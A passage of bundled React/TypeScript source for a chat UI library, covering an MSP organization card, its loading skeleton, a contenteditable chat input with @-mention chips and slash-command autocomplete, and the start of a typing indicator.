external-link button — so users can confirm\n * which organization they are signing into. Mirrors Figma `openframe — fae-chat`\n * (node 1:5540) using ODS tokens.\n *\n * The trailing button renders only when `href` or `onOpenWebsite` is provided:\n * `href` becomes an anchor (new tab), otherwise `onOpenWebsite` fires on click.\n */\nexport function MspOrganizationCard({\n  name,\n  website,\n  logoUrl,\n  title,\n  href,\n  onOpenWebsite,\n  className,\n}: MspOrganizationCardProps) {\n  const actionLabel = website ? `Open ${website}` : 'Open organization website';\n\n  return (\n    <div\n      className={cn(\n        // Inset ring (box-shadow) instead of `border` so the 1px stroke does not\n        // add to the box height — matches Figma's 80px frame (16 + 48 + 16) with\n        // its inside-aligned stroke. A real border would render 82px.\n        'flex items-start gap-[var(--spacing-system-m)] rounded-md bg-ods-bg p-[var(--spacing-system-m)] ring-1 ring-inset ring-ods-border',\n        className,\n      )}\n    >\n      <SquareAvatar src={logoUrl} alt={name} fallback={name} size=\"lg\" variant=\"square\" />\n\n      <div className=\"flex min-w-0 flex-1 flex-col\">\n        <span className=\"truncate text-ods-text-primary text-h3\">{title ?? `Your IT is managed by ${name}`}</span>\n        {website ? <span className=\"truncate text-ods-text-secondary text-h4\">{website}</span> : null}\n      </div>\n\n      {href ? (\n        <Button asChild variant=\"outline\" size=\"icon\" aria-label={actionLabel}>\n          <a href={href} target=\"_blank\" rel=\"noreferrer noopener\">\n            <ExternalLinkIcon />\n          </a>\n        </Button>\n      ) : onOpenWebsite ? (\n        <Button variant=\"outline\" size=\"icon\" aria-label={actionLabel} onClick={onOpenWebsite}>\n          <ExternalLinkIcon />\n        </Button>\n      ) : null}\n    </div>\n  );\n}\n","'use client';\n\nimport { cn } from '../../utils/cn';\nimport { Skeleton } from '../ui/skeleton';\n\nexport interface MspOrganizationCardSkeletonProps {\n  /** Appended to the root element. */\n  className?: string;\n}\n\n/**\n * Loading placeholder for {@link MspOrganizationCard}. Mirrors the card's blocks\n * — square logo, title + website lines, and the trailing external-link button —\n * inside the same 80px container, so the welcome screen doesn't shift once the\n * tenant info resolves and the real card replaces it.\n */\nexport function MspOrganizationCardSkeleton({ className }: MspOrganizationCardSkeletonProps) {\n  return (\n    <div\n      className={cn(\n        'flex items-start gap-[var(--spacing-system-m)] rounded-md bg-ods-bg p-[var(--spacing-system-m)] ring-1 ring-inset ring-ods-border',\n        className,\n      )}\n    >\n      <Skeleton className=\"size-12 shrink-0 rounded-md\" />\n      <div className=\"flex min-w-0 flex-1 flex-col justify-center gap-2 self-stretch\">\n        <Skeleton className=\"h-5 w-3/5 rounded-md\" />\n        <Skeleton className=\"h-4 w-2/5 rounded-md\" />\n      </div>\n      <Skeleton className=\"size-12 shrink-0 rounded-md\" />\n    </div>\n  );\n}\n","'use client';\n\nimport {\n  useState,\n  useRef,\n  useImperativeHandle,\n  forwardRef,\n  useCallback,\n  useEffect,\n  useMemo,\n  type ReactNode,\n  type KeyboardEvent,\n  type ClipboardEvent,\n  type MouseEvent,\n} from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport { cn } from '../../utils/cn';\nimport { Send01Icon, StopCircleIcon } from '../icons-v2-generated';\nimport { Tag } from '../ui/tag';\nimport { ChatTypingIndicator } from './chat-typing-indicator';\nimport { SlashCommandSuggestions } from './slash-command-suggestions';\nimport type { ChatInputProps, ChatInputRef, MentionMeta, SlashCommandSummary } from './types';\n\n/** SHARED with `lib/config/slash-commands-config.ts` AND the chat-route slash\n *  dispatch parser. Keep all three in sync. */\nconst SLASH_INPUT_TRIGGER = /^\\/([a-z][a-z0-9-]*)?$/;\n\n/** A committed `@`-mention serializes into the draft text as `@<marker>:<id>`\n *  (id charset allows `+ / = . -` for base64 Relay global ids). The editor\n *  renders each such token as an inline chip; the serialized string keeps the\n *  literal token so the host's `@type:id` reconciliation + send payload are\n *  unchanged. */\nconst MENTION_GLOBAL = /@[A-Za-z0-9_.+/=-]+:[A-Za-z0-9_.+/=-]+/g;\n/** The IN-PROGRESS trigger being typed — `@` + search string at the END of the\n *  draft, preceded by start-of-text or whitespace (so emails never fire). */\nconst MENTION_TRIGGER_AT_END = /(^|\\s)@([\\w.-]*)$/;\n\ntype Segment = { kind: 'text'; text: string } | { kind: 'mention'; token: string; label: string; icon?: ReactNode };\n\nfunction parseSegments(value: string, meta: Map<string, MentionMeta>): Segment[] {\n  const segs: Segment[] = [];\n  let last = 0;\n  MENTION_GLOBAL.lastIndex = 0;\n  let m: RegExpExecArray | null;\n  while ((m = MENTION_GLOBAL.exec(value)) !== null) {\n    if (m.index > last) segs.push({ kind: 'text', text: value.slice(last, m.index) });\n    const token = m[0].slice(1);\n    const info = meta.get(token);\n    segs.push({ kind: 'mention', token, label: info?.label ?? token.slice(token.indexOf(':') + 1), icon: info?.icon });\n    last = m.index + m[0].length;\n  }\n  if (last < value.length) segs.push({ kind: 'text', text: value.slice(last) });\n  return segs;\n}\n\nconst isChip = (n: Node): n is HTMLElement => n.nodeType === 1 && (n as HTMLElement).dataset?.token !== undefined;\n\n/** Serialize the editor DOM back to the draft string: text nodes verbatim,\n *  mention chips → `@<token>`, browser-inserted `<br>` ignored (newlines live as\n *  literal `\\n` text via `white-space: pre-wrap`). Chips are atomic\n *  (`contentEditable=false`) so we never descend into their inner markup. */\nfunction serialize(el: HTMLElement): string {\n  let out = '';\n  for (const node of Array.from(el.childNodes)) {\n    if (node.nodeType === Node.TEXT_NODE) out += node.textContent ?? '';\n    else if (isChip(node)) out += `@${node.dataset.token}`;\n    else if ((node as HTMLElement).tagName === 'BR') continue;\n    else out += node.textContent ?? '';\n  }\n  return out;\n}\n\n/** Build a mention chip as a plain (React-free) DOM node — the editor is an\n *  UNCONTROLLED contenteditable, so chips must be real DOM the browser owns\n *  (atomically deletable, never reconciled by React). We REUSE the lib `Tag`\n *  (`variant=\"badge\"` + its built-in `onClose` ⊗) by rendering it to static\n *  markup; the outer wrapper carries `data-token`/`contenteditable=false`, and\n *  the close button is wired via a delegated click on the editor (events don't\n *  survive static markup). */\nfunction buildChipEl(token: string, label: string, icon?: ReactNode): HTMLElement {\n  const span = document.createElement('span');\n  span.dataset.token = token;\n  span.setAttribute('contenteditable', 'false');\n  // Center the chip in its line box DETERMINISTICALLY (independent of font\n  // metrics): `vertical-align: middle` references the text baseline + x-height,\n  // not the geometric line-box center, so it leaves the chip ~2px low. Instead\n  // make the wrapper exactly one line box tall (`h-9` == editor `leading-9`,\n  // 36px) and `align-top` (pure geometric: wrapper top == line-box top, no\n  // baseline offset), then center the shorter chip inside via `items-center`.\n  span.className = 'mx-0.5 inline-flex h-9 items-center select-none align-top';\n  span.innerHTML = renderToStaticMarkup(\n    <Tag\n      as=\"span\"\n      variant=\"badge\"\n      icon={icon}\n      label={label}\n      onClose={() => {}}\n      // Match the context-chip pill, not the badge defaults: muted (grey) lead\n      // icon + ⊗ instead of white (`text-ods-text-primary` stays on the label\n      // only), and NO accent-yellow border on hover.\n      className=\"max-w-[16rem] hover:border-ods-border [&_svg]:text-ods-text-secondary\"\n    />,\n  );\n  return span;\n}\n\n/** Replace the editor's content with text nodes + chips parsed from `value`. */\nfunction rebuildDom(el: HTMLElement, value: string, meta: Map<string, MentionMeta>): void {\n  el.replaceChildren();\n  for (const seg of parseSegments(value, meta)) {\n    if (seg.kind === 'text') el.appendChild(document.createTextNode(seg.text));\n    else el.appendChild(buildChipEl(seg.token, seg.label, seg.icon));\n  }\n}\n\nfunction placeCaretAtEnd(el: HTMLElement): void {\n  const sel = typeof window !== 'undefined' ? window.getSelection() : null;\n  if (!sel) return;\n  const range = document.createRange();\n  range.selectNodeContents(el);\n  range.collapse(false);\n  sel.removeAllRanges();\n  sel.addRange(range);\n}\n\n/** Place the caret at a character offset in a PLAIN-text editor (no chips) —\n *  used only by `setValueAndCursor` (slash prefill). */\nfunction placeCaretAtOffset(el: HTMLElement, offset: number): void {\n  const sel = typeof window !== 'undefined' ? window.getSelection() : null;\n  if (!sel) return;\n  const node = el.firstChild;\n  const range = document.createRange();\n  if (node && node.nodeType === Node.TEXT_NODE) {\n    range.setStart(node, Math.max(0, Math.min(offset, node.textContent?.length ?? 0)));\n    range.collapse(true);\n  } else {\n    range.selectNodeContents(el);\n    range.collapse(false);\n  }\n  sel.removeAllRanges();\n  sel.addRange(range);\n}\n\n/** Insert plain text at the caret as a real text node (paste / Shift+Enter), so\n *  no `<br>`/`<div>` ever enters the DOM and serialization stays deterministic. */\nfunction insertTextAtCaret(text: string): void {\n  const sel = typeof window !== 'undefined' ? window.getSelection() : null;\n  if (!sel || sel.rangeCount === 0) return;\n  const range = sel.getRangeAt(0);\n  range.deleteContents();\n  const tn = document.createTextNode(text);\n  range.insertNode(tn);\n  range.setStartAfter(tn);\n  range.collapse(true);\n  sel.removeAllRanges();\n  sel.addRange(range);\n}\n\nconst ChatInput = forwardRef<ChatInputRef, ChatInputProps>((allProps, ref) => {\n  const { slashCommands, ...rest } = allProps;\n  const {\n    className,\n    onSend,\n    onStop,\n    sending = false,\n    awaitingResponse = false,\n    placeholder = 'Enter your Request...',\n    reserveAvatarOffset: _reserveAvatarOffset,\n    disabled = false,\n    autoFocus = false,\n    fullWidth = false,\n    allowEmptySend = false,\n    onMentionQueryChange,\n    onValueChange,\n    startIcon,\n    hideBorder,\n    previewText,\n    // Remaining textarea-only attrs are intentionally dropped — the editor is a\n    // contenteditable div, not a <textarea>, so spreading them would warn.\n  } = rest as typeof rest & { rows?: number };\n\n  const [value, setValue] = useState('');\n  // Whether the editor currently holds at least one committed mention chip —\n  // it alone needs the tall line box (see the editor's className). Read from the\n  // DOM, NOT by testing the draft against `MENTION_GLOBAL`: that regex also\n  // matches ordinary typed text (`meet @3:00`, `@prod:us-east`), which would\n  // switch the editor to a 36px line box with no chip on screen. Chips are only\n  // ever created by `rebuildDom`, so the two writers below cover every path.\n  const [hasChips, setHasChips] = useState(false);\n  const [focused, setFocused] = useState(false);\n  const [isStopping, setIsStopping] = useState(false);\n  // The ghost preview is dismissed as soon as the user edits the draft (typing\n  // into the preview-hidden editor), so their input is never hidden behind a\n  // stale preview. Re-armed on the next hover (when `previewText` changes).\n  const [previewDismissed, setPreviewDismissed] = useState(false);\n  const editorRef = useRef<HTMLDivElement>(null);\n  const shouldRefocusRef = useRef(false);\n  const prevSendingRef = useRef(sending);\n  const prevAwaitingResponseRef = useRef(awaitingResponse);\n  const isComposingRef = useRef(false);\n  // Live mirror of the value + committed-chip meta for sync reads inside the\n  // stable imperative handle (no rebuild of the handle per keystroke).\n  const valueRef = useRef(value);\n  valueRef.current = value;\n  const metaRef = useRef<Map<string, MentionMeta>>(new Map());\n\n  const focusEditor = useCallback(() => {\n    if (disabled) return;\n    editorRef.current?.focus({ preventScroll: true });\n  }, [disabled]);\n\n  useEffect(() => {\n    if (autoFocus) focusEditor();\n  }, [autoFocus, focusEditor]);\n\n  // Surface every value change (typed or imperative) so the composer reconciles\n  // `@type:id` mention chips with the context items.\n  useEffect(() => {\n    onValueChange?.(value);\n  }, [value, onValueChange]);\n\n  // Latest `previewText` for the draft-edit dismissal below, which must fire on\n  // `value` and nothing else.\n  const previewTextRef = useRef(previewText);\n  useEffect(() => {\n    previewTextRef.current = previewText;\n  });\n\n  // A fresh hover (new `previewText`) re-arms the preview…\n  useEffect(() => {\n    setPreviewDismissed(false);\n  }, [previewText]);\n\n  // …and any draft edit while a preview is showing dismisses it immediately, so\n  // keystrokes into the (preview-hidden) editor become visible at once. Keyed on\n  // `value` only — depending on `previewText` would re-dismiss on every hover,\n  // hence the ref above.\n  useEffect(() => {\n    if (previewTextRef.current) setPreviewDismissed(true);\n  }, [value]);\n\n  // Apply a NEW draft value to BOTH the DOM (imperative rebuild) and state. Used\n  // by every imperative mutation (commit, setValue, clear, remove). Typing does\n  // NOT go through here — the browser owns the DOM and we only read it back.\n  const applyValue = useCallback((next: string, caret: 'end' | number = 'end') => {\n    const el = editorRef.current;\n    if (el) {\n      rebuildDom(el, next, metaRef.current);\n      if (document.activeElement === el || caret === 'end') {\n        if (typeof caret === 'number') placeCaretAtOffset(el, caret);\n        else placeCaretAtEnd(el);\n      }\n      setHasChips(el.querySelector('[data-token]') !== null);\n    }\n    // Advance the mirror HERE, not only on the next render: `fire` clears the\n    // draft and then reads it back within the same tick to decide whether a\n    // refused send may restore it.\n    valueRef.current = next;\n    setValue(next);\n  }, []);\n\n  // ── send ──────────────────────────────────────────────────────────────────\n  const fire = useCallback(\n    (message: string) => {\n      const can = (message.length > 0 || allowEmptySend) && !sending && !disabled;\n      if (!can || !onSend) return;\n      // Clear FIRST and put it back only if the host refuses, rather than\n      // clearing once the send settles. The editor stays typable while `sending`\n      // (see `contentEditable` below), and a host whose `onSend` is async —\n      // `TicketReplyComposer` awaits a round trip — leaves a window in which the\n      // user starts their next message; a deferred clear would silently delete\n      // it. Restoring is guarded on the box still being empty for the same\n      // reason. `applyValue` advances `valueRef` synchronously, so the guard\n      // reads the cleared draft even when `onSend` refuses in the same tick.\n      const sentMeta = metaRef.current;\n      metaRef.current = new Map();\n      applyValue('');\n      shouldRefocusRef.current = true;\n      focusEditor();\n      const restore = () => {\n        if (valueRef.current.length > 0) return;\n        metaRef.current = sentMeta;\n        applyValue(message);\n      };\n      const result = onSend(message);\n      if (result instanceof Promise) {\n        void result.then(ok => {\n          if (ok === false) restore();\n        });\n      } else if (result === false) {\n        restore();\n      }\n    },\n    [allowEmptySend, sending, disabled, onSend, focusEditor, applyValue],\n  );\n\n  const handleSubmit = useCallback(() => {\n    fire(valueRef.current.trim());\n  }, [fire]);\n\n  useImperativeHandle(\n    ref,\n    (): ChatInputRef => ({\n      focus: () => focusEditor(),\n      blur: () => editorRef.current?.blur(),\n      clear: () => {\n        metaRef.current = new Map();\n        applyValue('');\n      },\n      setValue: (next: string) => {\n        applyValue(next);\n        requestAnimationFrame(() => focusEditor());\n      },\n      setValueAndCursor: (next: string, cursorOffset: number) => {\n        applyValue(next, Math.max(0, Math.min(cursorOffset, next.length)));\n        requestAnimationFrame(() => focusEditor());\n      },\n      submit: (next: string) => fire(next.trim()),\n      getValue: () => valueRef.current,\n      removeMentionTrigger: () => {\n        applyValue(valueRef.current.replace(MENTION_TRIGGER_AT_END, '$1'));\n      },\n      commitMention: (token: string, meta?: MentionMeta) => {\n        // Multi-select: replace the trailing `@query` being typed with the\n        // committed `@<token> ` (+ trailing space → dismisses the trigger so the\n        // picker closes; also gives the caret a text node to land in after the\n        // chip). Prior committed mentions stay — several chips coexist.\n        if (meta) metaRef.current = new Map(metaRef.current).set(token, meta);\n        const v = valueRef.current;\n        const next = MENTION_TRIGGER_AT_END.test(v)\n          ? v.replace(MENTION_TRIGGER_AT_END, `$1@${token} `)\n          : `${v}${v.length > 0 && !v.endsWith(' ') ? ' ' : ''}@${token} `;\n        applyValue(next);\n        requestAnimationFrame(() => focusEditor());\n      },\n    }),\n    [focusEditor, fire, applyValue],\n  );\n\n  // ── `@`-mention trigger detection ───────────────────────────────────────────\n  const mentionEnabled = !!onMentionQueryChange;\n  const mentionQuery = useMemo(() => {\n    if (!mentionEnabled) return null;\n    const m = value.match(MENTION_TRIGGER_AT_END);\n    return m ? (m[2] ?? '') : null;\n  }, [value, mentionEnabled]);\n\n  useEffect(() => {\n    if (mentionEnabled) onMentionQueryChange?.(mentionQuery);\n  }, [mentionEnabled, mentionQuery, onMentionQueryChange]);\n\n  // ── slash-command autocomplete ──────────────────────────────────────────────\n  const slashMatch = useMemo(() => (slashCommands ? value.match(SLASH_INPUT_TRIGGER) : null), [value, slashCommands]);\n  const slashPrefix = slashMatch ? (slashMatch[1] ?? '') : null;\n  const [slashSuggestions, setSlashSuggestions] = useState<SlashCommandSummary[]>([]);\n  const [highlightedIdx, setHighlightedIdx] = useState(0);\n\n  useEffect(() => {\n    if (slashPrefix == null || !slashCommands) {\n      setSlashSuggestions([]);\n      return undefined;\n    }\n    let cancelled = false;\n    const ctrl = new AbortController();\n    // Named async function rather than an async timer callback: `setTimeout`\n    // discards its callback's return value, so a rejection would escape as an\n    // unhandled one instead of reaching the handler on the call site below.\n    const runFetch = async () => {\n      try {\n        const next = await slashCommands.fetchCommands(slashPrefix, ctrl.signal);\n        if (!cancelled) {\n          setSlashSuggestions(next);\n          setHighlightedIdx(0);\n        }\n      } catch (err) {\n        if (!cancelled && (err as Error)?.name !== 'AbortError') {\n          console.warn('[chat-input] slash-command fetch failed:', err);\n        }\n      }\n    };\n    const handle = setTimeout(() => {\n      runFetch().catch((err: unknown) => {\n        console.warn('[chat-input] slash-command fetch threw unexpectedly:', err);\n      });\n    }, 150);\n    return () => {\n      cancelled = true;\n      ctrl.abort();\n      clearTimeout(handle);\n    };\n  }, [slashPrefix, slashCommands]);\n\n  const acceptSuggestion = useCallback(\n    (cmd: SlashCommandSummary) => {\n      metaRef.current = new Map();\n      const next = `/${cmd.id} `;\n      applyValue(next, next.length);\n      setSlashSuggestions([]);\n      requestAnimationFrame(() => focusEditor());\n    },\n    [applyValue, focusEditor],\n  );\n\n  // ── editor events ───────────────────────────────────────────────────────────\n  const syncFromDom = useCallback(() => {\n    const el = editorRef.current;\n    if (!el) return;\n    // Typing can DELETE a chip (they are atomic `contentEditable=false` nodes),\n    // so the flag has to be re-read here too, not just where chips are built.\n    setHasChips(el.querySelector('[data-token]') !== null);\n    setValue(serialize(el));\n  }, []);\n\n  const handleInput = useCallback(() => {\n    if (isComposingRef.current) return; // mid-IME: the browser owns the DOM\n    syncFromDom();\n  }, [syncFromDom]);\n\n  const handlePaste = useCallback(\n    (e: ClipboardEvent<HTMLDivElement>) => {\n      e.preventDefault();\n      const text = e.clipboardData.getData('text/plain');\n      if (!text) return;\n      insertTextAtCaret(text);\n      syncFromDom();\n    },\n    [syncFromDom],\n  );\n\n  const handleKeyDown = useCallback(\n    (e: KeyboardEvent<HTMLDivElement>) => {\n      if (slashSuggestions.length > 0 && slashPrefix !== null) {\n        if (e.key === 'Escape') {\n          e.preventDefault();\n          setSlashSuggestions([]);\n          return;\n        }\n        if (e.key === 'ArrowDown') {\n          e.preventDefault();\n          setHighlightedIdx(i => (i + 1) % slashSuggestions.length);\n          return;\n        }\n        if (e.key === 'ArrowUp') {\n          e.preventDefault();\n          setHighlightedIdx(i => (i - 1 + slashSuggestions.length) % slashSuggestions.length);\n          return;\n        }\n        if (e.key === 'Tab' || (e.key === 'Enter' && !e.shiftKey)) {\n          e.preventDefault();\n          const sel = slashSuggestions[highlightedIdx];\n          if (sel) acceptSuggestion(sel);\n          return;\n        }\n      }\n\n      if (mentionQuery !== null) {\n        if (e.key === 'Escape') {\n          e.preventDefault();\n          applyValue(valueRef.current.replace(MENTION_TRIGGER_AT_END, '$1'));\n          return;\n        }\n        if (e.key === 'Enter' && !e.shiftKey) {\n          e.preventDefault();\n          return;\n        }\n      }\n\n      if (e.key === 'Enter') {\n        if (e.shiftKey) {\n          e.preventDefault();\n          insertTextAtCaret('\\n');\n          syncFromDom();\n        } else {\n          e.preventDefault();\n          handleSubmit();\n        }\n      }\n    },\n    [\n      slashSuggestions,\n      slashPrefix,\n      highlightedIdx,\n      acceptSuggestion,\n      handleSubmit,\n      mentionQuery,\n      applyValue,\n      syncFromDom,\n    ],\n  );\n\n  // Delegated remove: a click on a chip's ⊗ (Tag's `onClose` button, inside a\n  // `[data-token]` wrapper). Strip that token from the draft → value change →\n  // host drops the matching context item.\n  const handleEditorMouseDown = useCallback(\n    (e: MouseEvent<HTMLDivElement>) => {\n      const target = e.target as HTMLElement;\n      const chip = target.closest<HTMLElement>('[data-token]');\n      if (!chip || !target.closest('button')) return;\n      e.preventDefault(); // keep editor focus; don't move the caret into the chip\n      const token = chip.dataset.token ?? '';\n      const next = valueRef.current\n        .replace(`@${token} `, '')\n        .replace(`@${token}`, '')\n        .replace(/[^\\S\\n]{2,}/g, ' ')\n        .replace(/^[^\\S\\n]+/, '');\n      applyValue(next);\n      requestAnimationFrame(() => focusEditor());\n    },\n    [applyValue, focusEditor],\n  );\n\n  // ── refocus after send/await transitions ────────────────────────────────────\n  useEffect(() => {\n    if (!sending) setIsStopping(false);\n  }, [sending]);\n  useEffect(() => {\n    const wasSending = prevSendingRef.current;\n    prevSendingRef.current = sending;\n    if (wasSending && !sending && shouldRefocusRef.current && !awaitingResponse && !disabled) {\n      shouldRefocusRef.current = false;\n      focusEditor();\n    }\n  }, [sending, awaitingResponse, disabled, focusEditor]);\n  useEffect(() => {\n    const wasAwaiting = prevAwaitingResponseRef.current;\n    prevAwaitingResponseRef.current = awaitingResponse;\n    if (!wasAwaiting || awaitingResponse || !shouldRefocusRef.current || disabled) return undefined;\n    shouldRefocusRef.current = false;\n    const id = requestAnimationFrame(() => focusEditor());\n    return () => cancelAnimationFrame(id);\n  }, [awaitingResponse, disabled, focusEditor]);\n\n  const handleStop = useCallback(async () => {\n    if (!onStop || isStopping) return;\n    setIsStopping(true);\n    try {\n      await onStop();\n    } catch {\n      setIsStopping(false);\n    }\n  }, [onStop, isStopping]);\n\n  const isStopMode = sending && !!onStop;\n  const hasContent = value.trim().length > 0 || allowEmptySend;\n  const sendDisabled = sending || disabled || !hasContent;\n  const isEmpty = value.length === 0;\n  // Non-destructive ghost preview (e.g. a hovered quick-action's full prompt).\n  // Shown whenever a `previewText` is set (even over an existing draft): the\n  // editor's real value is NEVER touched — it's just visually hidden behind the\n  // ghost while previewing, and reappears verbatim once `previewText` clears.\n  // Declarative, no `setValue` / draft save-restore. Suppressed the moment the\n  // user edits the draft (`previewDismissed`) so typing is never hidden.\n  const showPreview = !sending && !disabled && !!previewText && !previewDismissed;\n\n  return (\n    <div\n      className={cn(\n        fullWidth ? 'w-full flex-shrink-0' : 'mx-auto w-full max-w-ods-content-narrow flex-shrink-0',\n        className,\n      )}\n    >\n      {awaitingResponse ? (\n        <div className=\"relative flex items-center justify-center gap-[var(--spacing-system-xs)] rounded-md border border-ods-border bg-ods-card px-[var(--spacing-system-s)] py-[var(--spacing-system-s)] transition-colors\">\n          <ChatTypingIndicator size=\"sm\" dotClassName=\"bg-ods-text-primary\" />\n          <p className=\"text-ods-text-secondary text-h4\">Waiting for Technician Response</p>\n        </div>\n      ) : (\n        <div className=\"relative\">\n          <SlashCommandSuggestions\n            commands={slashPrefix !== null ? slashSuggestions : []}\n            highlightedIdx={highlightedIdx}\n            onHover={setHighlightedIdx}\n            onSelect={acceptSuggestion}\n            resolveSourceIcon={slashCommands?.resolveSourceIcon}\n            onAction={slashCommands?.onAction}\n          />\n          {/* Mouse-only focus proxy for the contenteditable — deliberately has\n              no key handler: keyboard users tab straight into the editor. */}\n          <div\n            onMouseDown={e => {\n              if (e.target === e.currentTarget) {\n                e.preventDefault();\n                focusEditor();\n              }\n            }}\n            className={cn(\n              // `items-center` keeps the empty single-line text AND a mention chip\n              // vertically centered the same way. With a chip in the box, `py-1.5`\n              // (6px) pairs with the editor's `leading-9` (36px) → that row is\n              // 36 + 2*6 = 48px. The 36px line box is just barely above the 32px\n              // chip (incl. its ~3.5px vertical-align overhead), so there's almost\n              // no slack for the chip to drift in → it reads as centered.\n              // A chipless row is shorter than its content box and the `min-h-*`\n              // here is what sets its height: 48px from `md` up, 44px below.\n              'group flex min-h-11 w-full cursor-text items-center gap-2 px-3 py-1.5 transition-colors duration-200 md:min-h-12',\n              !hideBorder && 'rounded-[6px] border border-ods-border bg-ods-card',\n              !hideBorder &&\n                (focused ? 'border-ods-accent' : !disabled && 'hover:border-ods-border-hover hover:bg-ods-bg-hover'),\n              !hideBorder && disabled && '!cursor-not-allowed bg-ods-bg',\n              hideBorder && 'bg-transparent',\n            )}\n          >\n            {startIcon && <span className=\"flex h-6 shrink-0 items-center\">{startIcon}</span>}\n\n            <div className=\"relative min-w-0 flex-1\">\n              {/* No chip-line override on the placeholder: it only renders while\n                  the draft is EMPTY, so the editor is always on its plain line\n                  box here. */}\n              {isEmpty && !showPreview && (\n                <span className=\"pointer-events-none absolute left-0 top-0 select-none text-ods-text-secondary text-h4\">\n                  {disabled ? 'Connection lost. Waiting to reconnect...' : placeholder}\n                </span>\n              )}\n              {/* Ghost preview of a hovered quick-action's prompt. Overlaid like\n                  the placeholder and CLAMPED to one line (truncate): the row's\n                  height must not change on hover. An in-flow multi-line preview\n                  would grow the composer → shift the chip strip up → move the\n                  hovered chip out from under the cursor → hover-end → shrink →\n                  chip back under the cursor — an infinite grow/shrink\n                  oscillation (smeared flicker); an upward overlay would cover\n                  the chips instead. Muted color reads as a preview, not typed\n                  text; clearing `previewText` restores the (opacity-hidden)\n                  editor. */}\n              {showPreview && (\n                <p\n                  className={cn(\n                    'pointer-events-none absolute inset-x-0 top-0 m-0 select-none truncate text-ods-text-secondary text-h4',\n                    hasChips && '!leading-9',\n                  )}\n                >\n                  {previewText}\n                </p>\n              )}\n              {/* UNCONTROLLED contenteditable: React renders it WITHOUT children\n                  and never reconciles its content — all text/chips are managed\n                  imperatively (browser owns typing/delete; we own chip insert). */}\n              {/* `role=\"textbox\"` on a contenteditable div: it IS focusable,\n                  and a rich text input with inline chips has no native\n                  element to use instead. */}\n              <div\n                ref={editorRef}\n                data-editor\n                role=\"textbox\"\n                aria-multiline=\"true\"\n                aria-label={typeof placeholder === 'string' ? placeholder : 'Message'}\n                // `sending` blocks SENDING, never typing. Taking\n                // `contentEditable` away under a focused editor blurs it, and\n                // iOS dismisses the keyboard on blur; restoring it re-establishes\n                // the input session (and the refocus-after-send effect below\n                // re-presents the keyboard once more), so on a phone the keyboard\n                // flashed shut and open again around every send — repeatedly,\n                // because a host's `sending` toggles once per phase of a turn\n                // (`chatLoading` in `embeddable-chat` is `isTyping ||\n                // isCompacting`, and the legacy Mingo page adds dialog creation).\n                // Nothing is lost by staying editable: `fire()` and the send\n                // button are both gated on `sending` already, so a draft typed\n                // while a turn streams simply waits for its turn — Enter is a\n                // no-op until the send button lights back up. Only `disabled` —\n                // the transport is gone — takes the editor out of service.\n                contentEditable={!disabled}\n                suppressContentEditableWarning\n                spellCheck\n                onInput={handleInput}\n                onKeyDown={handleKeyDown}\n                onPaste={handlePaste}\n                onMouseDown={handleEditorMouseDown}\n                onCompositionStart={() => {\n                  isComposingRef.current = true;\n                }}\n                onCompositionEnd={() => {\n                  isComposingRef.current = false;\n                  syncFromDom();\n                }}\n                onFocus={() => setFocused(true)}\n                onBlur={() => setFocused(false)}\n                className={cn(\n                  'max-h-[160px] overflow-y-auto overscroll-contain whitespace-pre-wrap break-words outline-none',\n                  // While a ghost preview shows, the editor stays IN FLOW (it\n                  // alone drives the row height, which must NOT change on hover —\n                  // see the preview comment above) and is only made transparent;\n                  // the absolutely-positioned single-line preview paints over it.\n                  showPreview && 'opacity-0',\n                  // WITH chips, `leading-9` (36px) sits just above the 32px chip's\n                  // line-box need (~35.5px incl. vertical-align overhead): the LINE\n                  // drives row height (deterministic 48px, no overflow) AND the\n                  // near-zero slack keeps the chip centered against the `align-top`\n                  // `h-9` wrapper `buildChipEl` gives it. ~4px gap between wrapped\n                  // chip rows.\n                  // WITHOUT chips there is nothing tall to center, and forcing the\n                  // same 36px box on 14px phone text (`text-h4`) put a blank line's\n                  // worth of air between every wrapped row — so plain drafts keep\n                  // `text-h4`'s own responsive line-height (20px / 24px at md).\n                  // `min-h-*` pins the single-line box even when EMPTY: a\n                  // non-editable (`contentEditable=false`, i.e. `disabled`) empty div\n                  // would otherwise collapse to 0px, and `items-center` would\n                  // re-center the shorter wrapper in the row — dropping the `top-0`\n                  // placeholder down.\n                  'text-ods-text-primary text-h4',\n                  hasChips ? 'min-h-9 !leading-9' : 'min-h-[var(--font-line-space-h4-body)]',\n                  'scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30',\n                  disabled && 'cursor-not-allowed',\n                )}\n              />\n            </div>\n\n            <button\n              type=\"button\"\n              aria-label={isStopMode ? 'Stop generation' : 'Send message'}\n              onClick={isStopMode ? handleStop : handleSubmit}\n              disabled={isStopMode ? isStopping : sendDisabled}\n              className={cn(\n                'flex h-6 shrink-0 items-center text-ods-text-secondary transition-colors duration-200',\n                // Focus accent applies to the SEND icon only. Stop stays neutral\n                // regardless of where focus sits — otherwise it reads yellow after\n                // an Enter-send (editor keeps focus) but gray after an approve\n                // click (focus moved to the card button).\n                focused && !isStopMode && 'text-ods-accent',\n                '[&_svg]:size-4 md:[&_svg]:size-6',\n                'cursor-pointer hover:text-ods-text-primary',\n                'focus-visible:text-ods-accent focus-visible:outline-none',\n                'disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary',\n              )}\n            >\n              {isStopMode ? <StopCircleIcon size={20} /> : <Send01Icon size={20} />}\n            </button>\n          </div>\n        </div>\n      )}\n    </div>\n  );\n});\n\nChatInput.displayName = 'ChatInput';\n\nexport { ChatInput };\n","import { forwardRef } from 'react';\nimport { cn } from '../../utils/cn';\nimport type { ChatTypingIndicatorProps } from './types';\n\nconst ChatTypingIndicator = forwardRef<HTMLDivElement, ChatTypingIndicatorProps>(\n  ({ className, size = 'md', showText = false, dotClassName, ...props }, ref) => {\n    const dotSizeClasses = {\n      sm: 'w-1 h-1',\n      md: 'w-1.5 h-1.5',\n      lg: 'w-2 h-2',\n    };\n\n    const containerSizeClasses = {\n      sm: 'h-4',\n      md: 'h-6',\n      lg: 'h-8',\n    };\n\n    const dotAnimation = `\n      @keyframes dotPulse {\n        0%, 80%, 100% {\n          transform: scale(1);\n          opacity: 0.7;\n        }\n        40% {\n          transform: scale(1.5);\n          opacity: 1;\n        }\n      }\n    `;\n\n    return (\n      <div ref={ref} className={cn('flex items-center gap-2', className)} {...props}>\n        <style dangerouslySetInnerHTML={{ __html: dotAnimation }} />\n        {showText && <span className=\"text-ods-text-secondary text-h6\">Assistant is 